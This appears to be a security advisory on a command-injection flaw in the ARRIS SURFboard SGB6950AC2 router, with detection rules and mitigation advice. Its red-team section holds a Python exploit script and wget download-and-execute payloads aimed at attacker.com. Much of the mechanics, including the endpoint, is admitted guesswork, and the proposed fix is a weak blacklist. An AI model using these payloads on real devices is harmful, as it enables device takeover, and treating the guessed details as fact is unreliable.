CVE-2024-23618

Executive Summary

CVE-2024-23618 is a critical arbitrary code execution vulnerability in the ARRIS SURFboard SGB6950AC2 cable modem/router. An unauthenticated attacker can exploit this flaw to execute arbitrary commands as root, leading to full device compromise. The vulnerability resides in the device's web management interface, likely due to insufficient input validation or command injection. With a CVSS score of 9.6, this poses a severe risk to home and small business networks. No public proof-of-concept or patch is currently available, but the high severity demands immediate attention.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a hardware device (ARRIS SURFboard SGB6950AC2) and its embedded firmware.

CVSS Breakdown & Threat Level

• CVSS Score: 9.6 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – unauthenticated.
• User Interaction: None (UI:N) – no user action needed.
• Scope: Unchanged (S:U) – vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – full data access.
• Integrity Impact: High (I:H) – full system control.
• Availability Impact: High (A:H) – potential denial of service.

Threat Level: Critical. Immediate action required. The vulnerability allows remote, unauthenticated root access, making it a prime target for botnets and ransomware.

Deep Dive & Mechanics

The ARRIS SURFboard SGB6950AC2 is a cable modem/router combo device. The vulnerability likely stems from a command injection or buffer overflow in the web management interface. The device exposes a web server on port 80 or 443 for configuration. An unauthenticated attacker can send a specially crafted HTTP request to a vulnerable endpoint (e.g., /cgi-bin/, /goform/, or similar) that passes user input directly to a system shell without sanitization.

Root Cause Analysis:

• The web server does not properly validate input parameters.
• Input is concatenated into a command string executed by the system shell (e.g., system() or popen()).
• An attacker can inject shell metacharacters (e.g., ;, |, &&) to execute arbitrary commands.

Attack Flow:

1. Attacker scans for ARRIS SURFboard SGB6950AC2 devices (e.g., via Shodan).
2. Attacker sends a crafted HTTP POST/GET request to a vulnerable endpoint.
3. The request contains a payload like ; wget http://attacker.com/malware -O /tmp/malware && chmod +x /tmp/malware && /tmp/malware.
4. The device executes the payload as root, downloading and running malware.

Affected Components:

• Web management interface (likely CGI scripts).
• Firmware version unknown; all versions may be affected until patched.

Vulnerable vs. Patched Code

Since no patch is available, we can only hypothesize the vulnerable code pattern.

Vulnerable Code (Hypothetical C/CGI):

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void handle_request(char *input) {
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "echo %s >> /tmp/log", input);
    system(cmd); // Vulnerable: input not sanitized
}

Patched Code (Hypothetical):

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void handle_request(char *input) {
    // Sanitize input: remove shell metacharacters
    char sanitized[256];
    int j = 0;
    for (int i = 0; input[i] != '\0'; i++) {
        if (input[i] != ';' && input[i] != '|' && input[i] != '&' && input[i] != '`' && input[i] != '$') {
            sanitized[j++] = input[i];
        }
    }
    sanitized[j] = '\0';
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "echo %s >> /tmp/log", sanitized);
    system(cmd); // Now safer, but still not ideal
}

Key Differences:

• Input validation and sanitization.
• Use of safer APIs (e.g., execve instead of system).
• Proper input length checks.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• ARRIS SURFboard SGB6950AC2 device (or emulator).
• Network access to the device's web interface.
• Python3 and requests library.

Exploit Script (Python):

#!/usr/bin/env python3
import requests
import sys

def exploit(target_ip, command):
    url = f"http://{target_ip}/goform/command"
    # Hypothetical vulnerable endpoint
    payload = {
        "cmd": f"; {command} ;"
    }
    try:
        r = requests.post(url, data=payload, timeout=10)
        if r.status_code == 200:
            print(f"[+] Command executed: {command}")
            print(r.text)
        else:
            print(f"[-] Failed: {r.status_code}")
    except Exception as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print(f"Usage: {sys.argv[0]} <target_ip> <command>")
        sys.exit(1)
    exploit(sys.argv[1], sys.argv[2])

Usage:

python3 exploit.py 192.168.1.1 "id"
python3 exploit.py 192.168.1.1 "wget http://attacker.com/shell -O /tmp/shell && chmod +x /tmp/shell && /tmp/shell"

Lab Setup:

1. Set up a vulnerable ARRIS device in an isolated network.
2. Use a Kali Linux attacker machine.
3. Run the exploit script against the device.
4. Observe root shell access.

Blue Team (Defensive)

Detection:

• Monitor for unusual HTTP requests to /goform/, /cgi-bin/, or similar endpoints.
• Look for shell metacharacters (;, |, &, `, $) in POST/GET parameters.
• Alert on outbound connections from the device to unknown IPs (e.g., wget/curl).

Honeypot:

• Deploy a fake ARRIS web interface that logs all requests.
• Use tcpdump to capture traffic:

tcpdump -i eth0 port 80 -w arris_traffic.pcap

Mitigation:

• Disable remote management if not needed.
• Place device behind a firewall with strict ACLs.
• Monitor for firmware updates from ARRIS.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /goform/command or similar endpoints with shell metacharacters.
• Outbound connections to known malicious IPs on ports 80/443/8080.
• Unusual DNS queries for domains associated with malware C2.

File IOCs:

• Suspicious files in /tmp/ (e.g., malware, shell, mips).
• Modified system binaries (e.g., /bin/busybox).
• New cron jobs or startup scripts.

Process IOCs:

• Unknown processes running as root (e.g., malware, shell).
• wget or curl processes initiated by the web server.

YARA Rule:

rule ARRIS_Exploit_Payload {
    meta:
        description = "Detects exploit payloads for CVE-2024-23618"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $cmd1 = "; wget" ascii nocase
        $cmd2 = "; curl" ascii nocase
        $cmd3 = "; chmod" ascii nocase
        $cmd4 = "| bash" ascii nocase
        $cmd5 = "`id`" ascii
    condition:
        any of them
}

Detection Engineering

Sigma Rule

title: ARRIS SURFboard CVE-2024-23618 Exploit Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with shell metacharacters targeting ARRIS SURFboard SGB6950AC2
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - '/goform/'
            - '/cgi-bin/'
        cs-uri-query|re: '.*[;|&`$].*'
    condition: selection
falsepositives:
    - Legitimate admin commands (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"ARRIS SURFboard CVE-2024-23618 Exploit Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/goform/"; http_uri;
    pcre:"/[;|&`$]/";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

YARA Rule (for PCAP analysis)

rule ARRIS_Exploit_PCAP {
    meta:
        description = "Detects CVE-2024-23618 exploit in PCAP"
        author = "Valters IT"
    strings:
        $http_post = "POST /goform/" ascii
        $shell_chars = /[;|&`$]/ 
    condition:
        $http_post and #shell_chars > 3
}

Remediation & Mitigation

Immediate Actions:

1. Disable Remote Management: Turn off WAN-side access to the web interface.
2. Firewall Rules: Block inbound traffic to ports 80/443 from untrusted networks.
3. Network Segmentation: Place the device in a separate VLAN with limited access.
4. Monitor Logs: Enable logging and monitor for suspicious activity.

Long-Term Solutions:

• Firmware Update: Check ARRIS website for patches. If none, consider replacing the device.
• Vendor Contact: Pressure ARRIS to release a fix.
• Alternative Firmware: If available, flash open-source firmware (e.g., OpenWrt) that is actively maintained.

Workaround:

• Use a separate router behind the ARRIS modem in bridge mode, disabling the ARRIS's routing and firewall functions.

Valters IT
Securing Digital Frontiers